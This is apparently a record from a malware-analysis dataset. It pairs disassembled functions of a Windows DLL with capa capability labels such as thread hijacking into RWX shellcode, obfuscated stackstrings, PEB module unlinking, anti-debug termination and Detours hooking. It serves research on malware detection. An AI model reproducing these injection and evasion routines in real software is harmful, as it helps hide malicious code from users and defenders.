joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001f500
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f4
mov eax, dword [0x10141084]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov dword [ebp - 0x2f4], 0x322a0c5e
xor esi, esi
mov dword [ebp - 0x2f0], 0x3a3f3112
mov dword [ebp - 0x2ec], 0x372c2a0d
mov word [ebp - 0x2e8], 0x3930
mov byte [ebp - 0x2e6], 0
push ebx
cmp esi, 0xe
jb 0x1001f561
push 0x90
push str.C:Program_Files__x86_Microsoft_Visual_Studio_14.0VCinclude_array
push str.array_subscript_out_of_range
call fcn.1005ff50
add esp, 0xc
mov bl, byte [ebp + esi - 0x2f3]
xor bl, byte [ebp - 0x2f4]
cmp esi, 0xe
jb 0x1001f58a
push 0x90
push str.C:Program_Files__x86_Microsoft_Visual_Studio_14.0VCinclude_array
push str.array_subscript_out_of_range
call fcn.1005ff50
add esp, 0xc
mov byte [ebp + esi - 0x2f3], bl
inc esi
cmp esi, 0xd
jb 0x1001f545
mov byte [ebp - 0x2e6], 0
xor esi, esi
mov dword [ebp - 0x2e4], 0x1909137d
mov dword [ebp - 0x2e0], 0x19531111
mov word [ebp - 0x2dc], 0x1111
mov byte [ebp - 0x2da], 0
cmp esi, 0xa
jb 0x1001f5e0
push 0x90
push str.C:Program_Files__x86_Microsoft_Visual_Studio_14.0VCinclude_array
push str.array_subscript_out_of_range
call fcn.1005ff50
add esp, 0xc
mov bl, byte [ebp + esi - 0x2e3]
xor bl, byte [ebp - 0x2e4]
cmp esi, 0xa
jb 0x1001f609
push 0x90
push str.C:Program_Files__x86_Microsoft_Visual_Studio_14.0VCinclude_array
push str.array_subscript_out_of_range
call fcn.1005ff50
add esp, 0xc
mov byte [ebp + esi - 0x2e3], bl
inc esi
cmp esi, 9
jb 0x1001f5c4
lea eax, [ebp - 0x2f3]
mov byte [ebp - 0x2da], 0
push eax
lea eax, [ebp - 0x2e3]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
pop ebx
add esi, 0x430
jne 0x1001f654
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1006fa90
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push 0x40
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1001f643
push 0x2cc
lea eax, [ebp - 0x2d8]
push 0
push eax
call fcn.100750d0
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1001f643
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x1001f643
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x2d8], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1001f643
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x228], 0x100024e0
push eax
push esi
mov dword [ebp - 0x2d8], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x1001f643
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
cmove esi, ecx
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.1006fa90
mov esp, ebp
pop ebp
ret
Function at 0x1001f850
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
pushal
pushfd
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp - 8]
jne 0x1001f88e
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1001f892
cmp edx, esi
jne 0x1001f877
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp - 8]
jne 0x1001f8b2
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1001f8b6
cmp edx, esi
jne 0x1001f89b
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 8]
jne 0x1001f8d6
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1001f8da
cmp edx, esi
jne 0x1001f8bf
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001f990
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10141084]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, ecx
call fcn.10016e20
test eax, eax
je 0x1001faeb
push esi
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
xor ebx, ebx
test eax, eax
setne bl
test ebx, ebx
je 0x1001faeb
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x1001faeb
movaps xmm0, xmmword [str.iSuBTRJBsOUBFC]
xor esi, esi
movups xmmword [ebp - 0x24], xmm0
nop dword [eax + eax]
cmp esi, 0xf
jb 0x1001fa0c
push 0x90
push str.C:Program_Files__x86_Microsoft_Visual_Studio_14.0VCinclude_array
push str.array_subscript_out_of_range
call fcn.1005ff50
add esp, 0xc
mov bl, byte [ebp + esi - 0x23]
xor bl, byte [ebp - 0x24]
cmp esi, 0xf
jb 0x1001fa2f
push 0x90
push str.C:Program_Files__x86_Microsoft_Visual_Studio_14.0VCinclude_array
push str.array_subscript_out_of_range
call fcn.1005ff50
add esp, 0xc
mov byte [ebp + esi - 0x23], bl
inc esi
cmp esi, 0xe
jb 0x1001f9f0
mov byte [ebp - 0x15], 0
xor esi, esi
mov dword [ebp - 0x14], 0x5f4f553b
mov dword [ebp - 0x10], 0x5f155757
mov word [ebp - 0xc], 0x5757
mov byte [ebp - 0xa], 0
cmp esi, 0xa
jb 0x1001fa73
push 0x90
push str.C:Program_Files__x86_Microsoft_Visual_Studio_14.0VCinclude_array
push str.array_subscript_out_of_range
call fcn.1005ff50
add esp, 0xc
mov bl, byte [ebp + esi - 0x13]
xor bl, byte [ebp - 0x14]
cmp esi, 0xa
jb 0x1001fa96
push 0x90
push str.C:Program_Files__x86_Microsoft_Visual_Studio_14.0VCinclude_array
push str.array_subscript_out_of_range
call fcn.1005ff50
add esp, 0xc
mov byte [ebp + esi - 0x13], bl
inc esi
cmp esi, 9
jb 0x1001fa57
lea eax, [ebp - 0x23]
mov byte [ebp - 0xa], 0
push eax
lea eax, [ebp - 0x13]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0x116e058
mov edi, eax
call fcn.10019f40
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov esi, eax
test esi, esi
je 0x1001fb08
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push esi
call edi
test eax, eax
jns 0x1001faf3
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [ebp - 8], 0
jbe 0x1001fb01
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1006fa90
mov esp, ebp
pop ebp
ret
Function at 0x1005af00
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100f58fc
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x10141084]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov eax, dword [edi + 0x28]
xorps xmm0, xmm0
mov dword [edi + 4], 1
mov dword [edi], 1
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x24], eax
mov dword [edi + 0x20], eax
mov dword [edi + 0x3c], 0
mov dword [edi + 0x38], 0
mov dword [edi + 0x34], 0
mov dword [edi + 0x30], 0
mov dword [edi + 0x2c], 0
mov dword [edi + 0x80], 0
mov dword [edi + 0x7c], 0
mov dword [edi + 0x78], 0
mov dword [edi + 0x44], 0
mov dword [edi + 0x40], 0
movups xmmword [edi + 0x48], xmm0
movups xmmword [edi + 0x58], xmm0
movups xmmword [edi + 0x68], xmm0
lea ecx, [edi + 0x84]
mov dword [ebp - 4], 0
call fcn.10006c90
mov eax, dword [edi + 0x88]
mov dword [edi + 0x8c], eax
lea ecx, [edi + 0x94]
mov dword [ebp - 4], 1
call fcn.10006c90
mov eax, dword [edi + 0x98]
mov dword [edi + 0x9c], eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1005b2e0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100f592c
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
push edi
mov eax, dword [0x10141084]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
xorps xmm0, xmm0
mov dword [edi + 4], 1
mov dword [edi], 1
lea eax, [edi + 0x110]
mov dword [edi + 8], 0
mov ecx, 6
mov dword [edi + 0x1c], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0xc], 0
mov dword [edi + 0x38], 0
mov dword [edi + 0x34], 0
mov dword [edi + 0x30], 0
mov dword [edi + 0x2c], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0xb0], 0
mov dword [edi + 0xac], 0
mov dword [edi + 0xa8], 0
mov dword [edi + 0xa4], 0
mov dword [edi + 0xa0], 0
mov dword [edi + 0x6c], 0
mov dword [edi + 0x68], 0
mov dword [edi + 0x54], 0
mov dword [edi + 0x50], 0
mov dword [edi + 0x4c], 0
movups xmmword [edi + 0x58], xmm0
movups xmmword [edi + 0x70], xmm0
movups xmmword [edi + 0x80], xmm0
movups xmmword [edi + 0x90], xmm0
nop dword [eax]
mov dword [eax + 4], 0
lea eax, [eax + 0x14]
mov dword [eax - 0x14], 0
mov dword [eax - 0x18], 0
mov dword [eax - 0x1c], 0
mov dword [eax - 0x20], 0
sub ecx, 1
jne 0x1005b3f0
mov dword [ebp - 4], ecx
lea ecx, [edi + 0xb4]
call fcn.10006c90
mov eax, dword [edi + 0xbc]
mov esi, dword [edi + 0xb8]
cmp esi, eax
je 0x1005b452
mov edi, eax
nop dword [eax + eax]
lea ecx, [esi + 8]
call fcn.1001a110
add esi, 0x40
cmp esi, edi
jne 0x1005b440
mov edi, dword [ebp - 0x10]
mov eax, dword [edi + 0xb8]
mov dword [edi + 0xbc], eax
lea ecx, [edi + 0xc4]
mov dword [ebp - 4], 1
call fcn.10006c90
mov eax, dword [edi + 0xcc]
mov esi, dword [edi + 0xc8]
mov dword [ebp - 0x14], eax
cmp esi, eax
je 0x1005b49e
mov edi, eax
lea ecx, [esi + 0x34]
call fcn.1001a110
mov ecx, esi
call fcn.10006aa0
add esi, 0x48
cmp esi, edi
jne 0x1005b485
mov edi, dword [ebp - 0x10]
mov eax, dword [edi + 0xc8]
mov dword [edi + 0xcc], eax
mov dword [edi + 0x100], 0
mov dword [edi + 0xfc], 0
mov dword [edi + 0xf8], 0
mov dword [edi + 0xf4], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1005c980
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100f5998
mov eax, dword fs:[0]
push eax
sub esp, 0x54
mov eax, dword [0x10141084]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x44], ecx
mov esi, dword [ecx]
mov edi, dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test esi, esi
je 0x1005c9cc
push 4
push esi
call edi
test eax, eax
jne 0x1005c9cc
push eax
mov ecx, esi
call dword [0x1012d850]
mov dword [ebp - 0x40], 0x72684306
xor esi, esi
mov dword [ebp - 0x3c], 0x52267463
mov dword [ebp - 0x38], 0x4f266167
mov word [ebp - 0x34], 0x42
nop dword [eax]
cmp esi, 0xd
jb 0x1005ca0c
push 0x90
push str.C:Program_Files__x86_Microsoft_Visual_Studio_14.0VCinclude_array
push str.array_subscript_out_of_range
call fcn.1005ff50
add esp, 0xc
mov bl, byte [ebp + esi - 0x3f]
xor bl, byte [ebp - 0x40]
cmp esi, 0xd
jb 0x1005ca2f
push 0x90
push str.C:Program_Files__x86_Microsoft_Visual_Studio_14.0VCinclude_array
push str.array_subscript_out_of_range
call fcn.1005ff50
add esp, 0xc
mov byte [ebp + esi - 0x3f], bl
inc esi
cmp esi, 0xc
jb 0x1005c9f0
lea eax, [ebp - 0x3f]
mov byte [ebp - 0x33], 0
push eax
lea ecx, [ebp - 0x2c]
call fcn.100075f0
lea eax, [ebp - 0x2f]
mov dword [ebp - 4], 0
mov word [ebp - 0x30], 0x2d
lea ecx, [ebp - 0x60]
push eax
mov byte [ebp - 0x2f], 0
call fcn.100075f0
mov ebx, dword [ebp - 0x44]
mov byte [ebp - 4], 1
mov esi, dword [ebx + 8]
test esi, esi
je 0x1005ca89
push 4
push esi
call edi
test eax, eax
jne 0x1005ca89
lea eax, [ebp - 0x60]
mov ecx, esi
push eax
call dword [0x1012d86c]
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0
call fcn.10006aa0
mov esi, dword [ebx + 8]
test esi, esi
je 0x1005cacf
push 4
push esi
call edi
test eax, eax
jne 0x1005cacf
push 4
add esi, 0x10c
push esi
call edi
test eax, eax
jne 0x1005cacf
mov eax, dword [esi]
test eax, eax
je 0x1005cacf
lea esi, [eax + 0x130]
push 4
push esi
call edi
test eax, eax
jne 0x1005cacf
mov dword [esi], 0xffffffff
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x60]
cmovae eax, dword [ebp - 0x28]
push eax
call fcn.100075f0
mov byte [ebp - 4], 2
mov esi, dword [ebx + 8]
test esi, esi
je 0x1005cb03
push 4
push esi
call edi
test eax, eax
jne 0x1005cb03
lea eax, [ebp - 0x60]
mov ecx, esi
push eax
call dword [0x1012d8b0]
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0
call fcn.10006aa0
mov esi, dword [ebx + 8]
test esi, esi
je 0x1005cb27
push 4
push esi
call edi
test eax, eax
jne 0x1005cb27
mov ecx, esi
call dword [0x1012d874]
lea ecx, [ebp - 0x2c]
call fcn.10006aa0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1006fa90
mov esp, ebp
pop ebp
ret
Function at 0x1005e430
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100f5a98
mov eax, dword fs:[0]
push eax
sub esp, 0x78
mov eax, dword [0x10141084]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x80], esi
mov dword [ebp - 0x84], 0
mov dword [ebp - 4], 0
lea eax, [ebp + 0xc]
cmp dword [ebp + 0x20], 0x10
lea ecx, [ebp - 0x7c]
push dword [ebp + 0x1c]
cmovae eax, dword [ebp + 0xc]
push eax
mov byte [ebp - 0x7c], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0x67452301
mov dword [ebp - 0x2c], 0xefcdab89
mov dword [ebp - 0x28], 0x98badcfe
mov dword [ebp - 0x24], 0x10325476
call fcn.1005e1e0
lea ecx, [ebp - 0x7c]
call fcn.1005e290
push esi
lea ecx, [ebp - 0x7c]
call fcn.1005e380
lea ecx, [ebp + 8]
call fcn.10006aa0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1006fa90
mov esp, ebp
pop ebp
ret

Function at 0x1005e8e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, ecx
mov ebx, 1
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 4], eax
mov dword [eax + 8], edi
mov dword [eax + 0xc], esi
add eax, 0x10
mov dword [ebp + 0xc], eax
push 0x5851f42d
xor eax, eax
mov ecx, esi
push 0x4c957f2d
shr ecx, 0x1e
xor eax, esi
xor ecx, edi
push eax
push ecx
call fcn.10070e00
mov edi, eax
mov esi, edx
mov eax, ebx
cdq
add edi, eax
mov eax, dword [ebp + 0xc]
adc esi, edx
inc ebx
mov dword [eax], edi
mov dword [eax + 4], esi
add eax, 8
mov dword [ebp + 0xc], eax
cmp ebx, 0x138
jl 0x1005e903
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov dword [eax], 0x138
mov esp, ebp
pop ebp
ret 0x10

Function at 0x10064150
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push 0x100640e0
push 0x10144d18
call fcn.10069ef0
add esp, 8
cmp dword [0x10141064], 0xffffffff
je 0x10064199
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [0x10141064]
push ecx
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
jne 0x10064197
push 0x70
push 0x100fca10
push str.TlsSetValue_current_thread_tls_key__new_data_
call fcn.100908e0
add esp, 0xc
jmp 0x100641b1
xor eax, eax
jne 0x100641b1
push 0x74
push 0x100fcab8
push 0x100fcafc
call fcn.100908e0
add esp, 0xc
pop ebp
ret
Function at 0x10066a40
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100f636c
mov eax, dword fs:[0]
push eax
push ecx
mov eax, dword [0x10141084]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x10]
mov dword [eax], vtable.boost::detail::thread_data_base.0
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 4], 0
mov ecx, dword [ebp - 0x10]
add ecx, 8
call fcn.100d2ed0
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x10]
mov dword [edx + 0xc], 0
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x10], 0
mov ecx, dword [ebp - 0x10]
add ecx, 0x14
call fcn.100666d0
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x10]
add ecx, 0x20
call fcn.10066800
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x10]
add ecx, 0x30
call fcn.10066800
mov byte [ebp - 4], 3
push 0
push 1
call fcn.10009df0
add esp, 8
push eax
mov ecx, dword [ebp - 0x10]
add ecx, 0x40
call fcn.10073760
mov ecx, dword [ebp - 0x10]
mov byte [ecx + 0x44], 1
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret

Function at 0x1006cdc0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 0xc]
sub eax, 0x10000
push eax
call fcn.1006cf90
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jbe 0x1006ce9d
mov edx, dword [ebp - 4]
cmp edx, dword [0x10141068]
jb 0x1006ce0a
mov eax, dword [ebp - 4]
cmp eax, dword [0x1014106c]
ja 0x1006ce0a
mov ecx, dword [ebp - 4]
sub ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x1006cdda
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call fcn.100750d0
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_VirtualQuery
test eax, eax
jne 0x1006ce2f
jmp 0x1006ce9d
cmp dword [ebp - 0x14], 0x10000
jne 0x1006ce83
cmp dword [ebp - 0x18], 0x10000
jb 0x1006ce83
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_VirtualAlloc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1006ce66
mov eax, dword [ebp - 8]
jmp 0x1006ce9f
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x1006ce76
xor eax, eax
jmp 0x1006ce9f
mov eax, dword [ebp - 4]
sub eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x1006ce98
mov ecx, dword [ebp - 0x20]
sub ecx, 0x10000
push ecx
call fcn.1006cf90
add esp, 4
mov dword [ebp - 4], eax
jmp 0x1006cdda
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1006ceb0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
push eax
call fcn.1006cfc0
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0xc]
jae 0x1006cf85
mov edx, dword [ebp - 4]
cmp edx, dword [0x10141068]
jb 0x1006cef5
mov eax, dword [ebp - 4]
cmp eax, dword [0x1014106c]
ja 0x1006cef5
mov ecx, dword [ebp - 4]
add ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x1006cec5
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call fcn.100750d0
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_VirtualQuery
test eax, eax
jne 0x1006cf1a
jmp 0x1006cf85
cmp dword [ebp - 0x14], 0x10000
jne 0x1006cf6e
cmp dword [ebp - 0x18], 0x10000
jb 0x1006cf6e
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_VirtualAlloc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1006cf51
mov eax, dword [ebp - 8]
jmp 0x1006cf87
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x1006cf61
xor eax, eax
jmp 0x1006cf87
mov eax, dword [ebp - 4]
add eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x1006cf80
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x18]
push ecx
call fcn.1006cfc0
add esp, 4
mov dword [ebp - 4], eax
jmp 0x1006cec5
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1006cff0
Capabilities:
Hook routines via microsoft detours

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.1006d3e0
add esp, 0xc
mov dword [ebp - 4], 0
cmp dword [0x10144d2c], 0
jne 0x1006d02d
cmp dword [0x10144d28], 0
je 0x1006d02d
mov eax, dword [0x10144d28]
mov dword [0x10144d2c], eax
cmp dword [0x10144d2c], 0
je 0x1006d0aa
mov ecx, dword [0x10144d2c]
cmp dword [ecx + 8], 0
je 0x1006d0aa
mov edx, dword [0x10144d2c]
mov eax, dword [edx + 8]
cmp eax, dword [ebp - 0x10]
jb 0x1006d0aa
mov ecx, dword [0x10144d2c]
mov edx, dword [ecx + 8]
cmp edx, dword [ebp - 0xc]
ja 0x1006d0aa
mov eax, dword [0x10144d2c]
mov ecx, dword [eax + 8]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0x10]
jb 0x1006d079
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0xc]
jbe 0x1006d080
xor eax, eax
jmp 0x1006d1c9
mov ecx, dword [0x10144d2c]
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x40]
mov dword [ecx + 8], eax
push 0x48
push 0xcc
mov ecx, dword [ebp - 4]
push ecx
call fcn.100750d0
add esp, 0xc
mov eax, dword [ebp - 4]
jmp 0x1006d1c9
mov edx, dword [0x10144d28]
mov dword [0x10144d2c], edx
jmp 0x1006d0c6
mov eax, dword [0x10144d2c]
mov ecx, dword [eax + 4]
mov dword [0x10144d2c], ecx
cmp dword [0x10144d2c], 0
je 0x1006d106
cmp dword [0x10144d2c], 0
je 0x1006d104
mov edx, dword [0x10144d2c]
cmp dword [edx + 8], 0
je 0x1006d104
mov eax, dword [0x10144d2c]
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 0x10]
jb 0x1006d104
mov edx, dword [0x10144d2c]
mov eax, dword [edx + 8]
cmp eax, dword [ebp - 0xc]
ja 0x1006d104
jmp 0x1006d05e
jmp 0x1006d0b8
mov ecx, dword [ebp + 8]
and ecx, 0xffff
mov edx, dword [ebp + 8]
sub edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.1006d1d0
add esp, 0xc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x1006d1c7
mov eax, dword [ebp - 0x18]
mov dword [0x10144d2c], eax
mov ecx, dword [0x10144d2c]
mov dword [ecx], 0x52727464
mov edx, dword [0x10144d2c]
mov dword [edx + 8], 0
mov eax, dword [0x10144d2c]
mov ecx, dword [0x10144d28]
mov dword [eax + 4], ecx
mov edx, dword [0x10144d2c]
mov dword [0x10144d28], edx
mov dword [ebp - 0x14], 0
mov eax, dword [0x10144d2c]
add eax, 0x48
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0x38c
jmp 0x1006d197
mov ecx, dword [ebp - 8]
sub ecx, 1
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 1
jle 0x1006d1b7
imul edx, dword [ebp - 8], 0x48
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x14]
mov dword [eax + edx + 0x40], ecx
imul edx, dword [ebp - 8], 0x48
add edx, dword [ebp - 4]
mov dword [ebp - 0x14], edx
jmp 0x1006d18e
mov eax, dword [0x10144d2c]
mov ecx, dword [ebp - 0x14]
mov dword [eax + 8], ecx
jmp 0x1006d05e
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1006df10
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x10144d28]
mov dword [ebp - 4], eax
jmp 0x1006df29
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 4]
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
je 0x1006df50
lea eax, [ebp - 8]
push eax
push 0x40
push 0x10000
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_VirtualProtect
test eax, eax
jne 0x1006df4e
call sub.KERNEL32.dll_GetLastError
jmp 0x1006df52
jmp 0x1006df20
xor eax, eax
mov esp, ebp
pop ebp
ret